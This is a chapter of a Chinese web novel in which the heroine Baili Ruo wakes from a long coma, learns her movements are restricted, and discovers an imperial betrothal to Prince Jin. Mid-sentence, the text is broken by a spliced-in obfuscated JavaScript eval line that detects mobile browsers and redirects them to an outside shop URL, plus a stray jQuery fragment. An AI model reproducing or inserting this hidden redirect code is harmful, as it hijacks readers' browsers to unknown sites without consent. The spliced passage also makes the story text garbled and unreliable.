这一路,她不知走了多久、多远。
月光时隐时现,但便是视线中漆黑一片,她也笃信该往这个方向走。
时而踩进泥坑,脚下一滑,整个人摔进泥里。
时而冷风飕飕,自天际吹来的长风刮得她寸步难行。
时而杂草丛生,有锋利的叶片割伤了她的腿、手和脸。
时而有不知名的黑影一窜而过,旷野中哀鸣嗷呜之声接连不断。
渐渐地,周围的景色不再是漆黑一片,变成了深沉的灰色。
远处的山峦没了,满是泥坑沙砾刺草的荒野没了,月光也没了。
只剩一片空无,但她知道周围在些微地亮起来。
她不停地走,跌跌撞撞地走。
累得快要走不下去了,便蹲在地上歇一歇。
好几次,她险些腿一软卧倒在地,眼睛也要阖上,硬是掐住胳膊将自己掐醒。
她走啊走,走啊走,终于,走到了一片全是白色光亮的地方。
她感觉应该就是这处了,可四下什么也没有。
她的双腿,胳膊,都已没了力气,再也支使不动。
她的脑袋,也仿佛被人固定住了,转不了。
她有些焦急,不知怎样才能突破这白色的牢笼。
便是想要叫喊,张嘴却发不出声来。
忽然,她觉得口中有温水在一小撮一小撮地流入。
躯体给了“渴”的反应,她便像在沙漠中徒步已久的旅人找到了救命甘霖一般,大口大口地啜饮起来,要寻着那水源,还想喝更多,还想喝再多……
似乎是呛着了,她开始咳嗽。正是这一牵动,让她发觉自己能动了。
耳中,是听起来极为遥远的,她朝思暮想的那道声音。
“慢点喝……慢点,莫急……”
她偏头想凑近那道声音的来源,这一扭动,原本覆在她眼上的布条便脱落。比方才更刺眼的天光照得她不得不扭过脸去。
她的神识终于慢慢归拢,耳中清风拂叶的沙沙声渐渐明晰,后背始终有只温柔的手在替她顺气,眼前有人替她遮住了过于炫目的日光。
她终于睁开眼,略略张嘴,声音极微弱:“娘……孩儿不孝……”
百里夫人看着昏睡了整整一月,终又重返人间的女儿,也是泪流满面,道:“……回来就好,回来就好。”
接下来两日,她仍是睡多醒少,昏昏沉沉。
可每次醒来,都有娘守在一旁,这令她无比安心。
这日,她终于觉得脑袋清明了些,便恳请娘扶她坐起来——她曾经能周旋于敌阵之中的躯体,如今丧失了全部气力。
她非常明晰,现下自己与废人无异。
她看着娘亲憔悴万分的面容,不禁又红了眼眶:“怎都是娘亲力亲为照顾我……家中可有别的丫鬟仆妇?遣她们来吧,娘你快去歇着。”
百里夫人——木容,叹了口气道:“你初初回府,她们与你不熟,万一惊了你可如何是好。”
百里若略加思索:“爹呢?”
木容顿了顿,道:“我也恼他瞒我许久,便不许他来见你。不过,你想见他,我也不好再拦着了。”
“那便让他再等等吧,总归我已醒了。”
说到这,两人都是一笑。
但是总让娘看护她,也始终不是个办法,百里若顺着娘亲来理她发丝的手蹭了蹭,道:“娘可有信得过的丫鬟?让她先替娘看着我就行。”
“娘一把年纪,身边用的都是些婆子了。前些日子,府里确实聘了批丫鬟,已让婆子们都训过话了,都是家世清白、手脚灵快的小丫头,等下便遣来,你挑两个合眼的留在房里便是。”
百里若笑着应是。
等到八个姑娘排了两个竖列,低眉顺眼地站在百里若床前时,她眉头跳了跳,心里已有了计较。
“那便最前头这两个吧。”
“不多看看了?”
“娘替我安排的,必定是最好的,”她笑笑,“你们两个,叫什么名字?”
“流云。”
“浸月。”
“我有些乏了,流云便在我跟前候着吧。娘你快些去歇着。”
待到房内只剩下百里若与流云二人时,她脸色骤然沉冷:“浸月是谁的人。”
“晋王殿下派来的。”
百里若一声冷哼,“家世清白”……
清白个大头鬼啊!
不为别的,眼前这位流云姑娘,正是她那日打雪仗时,用一根特殊布条换了她两根布条的姑娘。
“想容说什么了?”
“公子说,姑娘既归了百里将军府,从此便与江南岸再无瓜葛,以后便是相见,也莫要相认。姑娘如有差遣,只管让我传话便是。”
他……从一开始就算到这一天,做了十足的准备。
“那你又是如何进府的,我爹娘可知?”
“那日姑娘天宁一战,命悬一线,是晚娘来府中为姑娘施的针,已将全部实情告知夫人。后来姑娘几度性命垂危,也是晚娘一手照料,我从旁打打下手,”流云见百里若脸色缓和,接着道,“前日姑娘苏醒,晚娘道她不便继续留在府中,后续姑娘岐黄之事便看姑娘意思,可以由我料理。”
百里若心下了然。方才她之所以在拿不定浸月底细的情况下能迅速做出决断,无非是相信娘将她们二人放在最前头,必是已经过一层考量。
“你既是医者,我便问你,以我这身子,多久能下地走动?”
“换作常人,还得再歇上七天。”
百里若皱眉,沉吟片刻道:“现在便扶我下床。”
流云哑然,这姑娘,当真是个狠人,但再狠的人,也得尊重客观现实,口中便道:“姑娘三思……莫要急于求成。”
百里若见她不应,便自己挣扎着挪到床沿。
手中一个没扶稳,整个人从床上一头栽下,滚在地上。又因切身地感受了一次四肢的不听使唤,虚弱无力感一齐袭来,她便只能伏在地上,大喘气。
流云终是上前,架住她,半撑着将她弄回了床上,又替她拢了拢被子:“姑娘这是何苦。”
“我的筋脉被封,也是晚娘所为?”
“躯体无力之时,任由内力先恢复,以姑娘的习武经验,应该知道会发生何事吧。”
……爆血而亡。
原本以她的小身板,根本驾驭不住那股磅礴浑厚的内力。便是她当年开始习武,筋脉神穴,也是晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883153|212492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娘一点点拿捏着替她逐步解了的。
还好……还不至于彻底沦落成废人。
百里若深深叹了口气,靠在背垫上。
“那我能做些什么呢。”她空落落地看着被面,像是发问,又像是喃喃自语,“隐约听说前前朝有女将故事,替爹爹上阵杀敌,以我如今这躯体,恐怕还得恢复几个月。”
流云回道:“昭元帝有令,百里将军戍守边疆,妻儿眷属须得留在京中。”
……人质。
“入朝为官呢。”
“本朝尚未有女子入前朝为官之通路,文举、武举,皆未开女子之科。元后娘娘与先太子妃在时,本要成章建制的,但她们二人纷纷离世后,便再无进展。宫中倒是有女官之职,但恐怕,也不是姑娘所喜。”
“下一次武举在何时?”
“两年后。”
“我还依稀记得,本朝女子能独立户籍,能自个儿刻章子、签文书,就像云裳那样,要是我学宁玉姐姐开酒楼呢。”
“姑娘会算钱吗。且朝中有令,明面上,官吏家属禁止营商。宁玉姐姐现也仅在幕后提点新任掌柜了。”
百里若气上心头:“镖局押货!卖艺杂耍!支个摊子问卜算卦!”
流云哧地笑了一声:“规制上,倒没什么约束。”
过了一会,百里若闷闷道:“学些时日,女扮男装,去考个进士呢。”
“便是过了老爷夫人这一关,朝堂上还有宁王殿下呢。”
想起那个最讲规矩的阎王……百里若又叹了口气。
“田间地头,镇里乡村的,倒是能见着许多婶娘姑婆种田织布,大些的城里,也有你这般的女医。那你和我说说,在这最大的城里,姑娘小姐们都在学些什么?”
“琴棋书画,管家御下,人情往来,相夫教子,孝顺公婆。”
“……就这?”
“姑娘也莫要小瞧其中学问。”
“……”实在是这些,并非她志趣所在,绕来绕去,不还是出不了那个宅子!
见百里若沉默良久,流云继续道:“姑娘先学着点总没坏处,总归你与晋王殿下有婚约,迟早也是……”
百里若猛地抬头。
流云见她反应,也突然明白过来。
“我与谢清尧有婚约?”
“姑娘竟不知?”
房内,两人面面相觑。
半晌后,回过味来的百里若呼吸越来越急促,问道:“能退婚吗。”
“是圣旨。”
“谢家这群……这群……衣冠禽兽!!!!!畜牲!!!!!畜牲都不如!!!!!!!!我……我杀了他们!!!!!!!!!”百里若在床上张牙舞爪,眼看就要往床下冲。
“姑娘,气大伤身,气大伤身……”流云只能一边拦着她,一边帮她顺气。
三日后,百里若已能在流云浸月的搀扶下,极为缓慢地、几乎是挪动般地,挪到院中。
先前她头回苏醒,便是娘在院中支了个卧榻,又替她盖上厚厚的棉被、敷上遮眼的布条,是听了晚娘与流云的意思,让她多晒晒春光,吸吸清新的草木生发之气。
这日,她心血来潮问道:“外间如何议论百里将军府?”